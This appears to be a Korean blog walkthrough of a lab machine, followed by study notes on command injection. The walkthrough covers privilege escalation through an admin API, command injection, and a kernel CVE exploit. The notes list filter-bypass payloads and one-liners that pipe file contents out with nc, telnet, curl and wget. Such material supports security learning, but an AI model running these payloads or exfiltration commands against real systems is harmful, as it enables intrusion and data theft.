TCP 포트 스캔 

 

 

/etc/hosts 파일에 IP + 도메인명 추가

 

 

웹 페이지 접속

 

 

 

 

회원가입하려면 초대 코드가 있어야 함

/invite 페이지 요청 시에 로드되는 js 파일에서 난독화된 함수 발견

inviteapi.min.js

 

 

 

 

난독화된 코드를 복원함(일부)

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function(response) {
            console.log(response);
        },
        error: function(response) {
            console.log(response);
        }
    });
}

 

 

'/api/v1/invite/how/to/generate' 경로에 POST로 요청을 보내면 아래와 같은 응답이 돌아옴

복호화하면         →  In order to generate the invite code, make a POST request to /api/v1/invite/generate

 

 

 

하라는대로 요청을 보내면 초대 코드를 얻을 수 있다

 

 

 

디코딩해야함

 

 

 

해당 초대 코드 입력하면 /register 페이지 접근 됨

 

 

 

로그인 ㄱ

 

"Connection Pack"은 Labs > Access 에 있음

클릭하면 '/api/v1/user/vpn/generate'에 요청 보냄

 

 

 

 

'/api/v1' 경로에 요청을 보내면 하위 앤드포인트 경로 목록이 응답으로 옴

 

 

 

 

/api/v1/admin/ 의 경로에 있는 엔드포인트에 하나씩 들어가봤다

 

 

 

/api/v1/admin/settings/update 엔드포인트에서 권한을 변경할 수 있을 것 같다

 

 

 

POST도 안되는 걸 보니, PUT 메서드로 추측

content-type 헤더 추가 필요

 

 

email 파라미터가 필요한 듯

 

 

is_admin 파라미터도...

 

 

성공한 듯?

 

 

auth 엔드포인트에서 확인한 결과, 권한 상승에 성공한 것 같다

 

 

 

 

이제 아직 사용하지 않은 /api/v1/admin/vpn/generate 엔드포인트를 사용해보자

 

 

얘도 아까와 같은 방법으로 필요한 파라미터를 찾는다

 

 

 

이 엔드포인트에 command injection 취약점이 존재한다고 함

 

 

 

;로 명령어를 추가하고  "#으로 주석처리

 

 

 

php 애플리케이션에서 환경 변수 값을 저장하는 파일은 보통 .env 

.env 에서 admin 계정의 패스워드 확인 가능

 

 

 

 

ssh로 접속 ㄱ

 

 

 

flag 확인

 

 

 

 

 

권한 상승

 

메일이 왔다는디요

 

 

 

/var/mail/admin 파일에서 송신자 확인 가능

메일 내용을 보면, 현재 사용하고 있는 버전의 리눅스 커널에 심각한 CVE 취약점이 나온 것 같다

 

 

☞  CVE-2023-0386

https://github.com/sxlmnwb/CVE-2023-0386

 

 

파일 다운로드 받아서 공격 대상으로 보냄

 

 

 

깃에 적혀있는대로 공격 수행

권한 상승 성공

서로 다른 터미널에서 진행

 

 

root flag 화긴

 

 

 

 

이용자의 입력을 시스템 명령어로 실행하게 하는 취약점

 

시스템 명령어를 실행하는 함수에 이용자가 임의의 인자를 전달 할 수 있을 때 발생

 

이는 리눅스 쉘 프로그램이 지원하는 다양한 메타 문자 때문이다.

시스템 함수는 쉘 프로그램에 명령어를 전달하여 실행하는, 쉘 프로그램은 다양한 메타 문자를 지원한다.

 

''  명령어 치환

'' 안에 있는 명령어를 실행한 결과로 치환된다.

$ echo `echo theori`
theori

 

$() 명령어 치환

$() 안에 있는 명령어를 실행한 결과로 치환된다. 중복 사용이 가능하다.

$ echo $(echo $(echo theori))
theori

 

&& 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생하지 않아야 뒷 명령어가 실행된다.

$ echo hello && echo theori
hello
theori

 

 

|| 명령어 연속 실행

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어에서 에러가 발생해야 뒷 명령어가 실행된다.

$ cat / || echo theori
cat: /: Is a directory
theori

 

 

; 명령어 구분자

한 줄에 여러 명령어를 사용할 수 있다. 앞 명령어의 에러 유무와 관계 없이 뒷 명령어를 실행한다.

$ echo hello ; echo theori
hello
theori

 

 

| 파이프

앞 명령어의 결과가 뒷 명령어의 입력으로 들어간다.

$ echo id | /bin/sh
uid=1001(theori) gid=1001(theori) groups=1001(theori)

 

 

 


 

필터링 우회

명령어의 입력으로 들어가는 문자열을 필터링하는 경우

echo -e "\x66\x6c\x61\x67" | xargs cat -e    //16진수 ASCII
cat $'\146\154\141\147'                      //8진수 ASCII
cat [0-z][0-z][0-z][0-z]
cat ????
cat FL${}AG

 

 

명령어(cat, ls, ...) 를 필터링하는 경우

c''a""t flag
c${invalid_variable}a${XX}t flag

 

 

공백을 필터링하는 경우

{cat,flag}
cat$IFS$()flag
cat${IFS}flag

 

 

실행 결과를 확인할 수 없는 환경에서 방법 (결과가 출력되지 않을 때)

 

nc, telcet 사용

cat flag | nc 127.0.0.1 8000
cat flag | telnet 127.0.0.1 8000

 

 

curl, wget 사용

curl "http://127.0.0.1:8080/?$(cat flag|base64 -w0)" // GET 요청
curl http://127.0.0.1:8080/ -d "$(cat flag)"         // POST 요청

wget http://127.0.0.1:8080 --method=POST --body-data="`cat flag`"

 

 

 


 

예제

URL 쿼리를 통해 전달되는 query  값을 ping 명령어의 인자로 전달하고

해당 명령어가 subprocess.check_output() 함수를 이용해 실행되어 출력되는 프로그램이 있다.

 

 

메타 문자를 이용하여 뒤에 원하는 명령어를 함께 실행시킬 수 있다.

+ Recent posts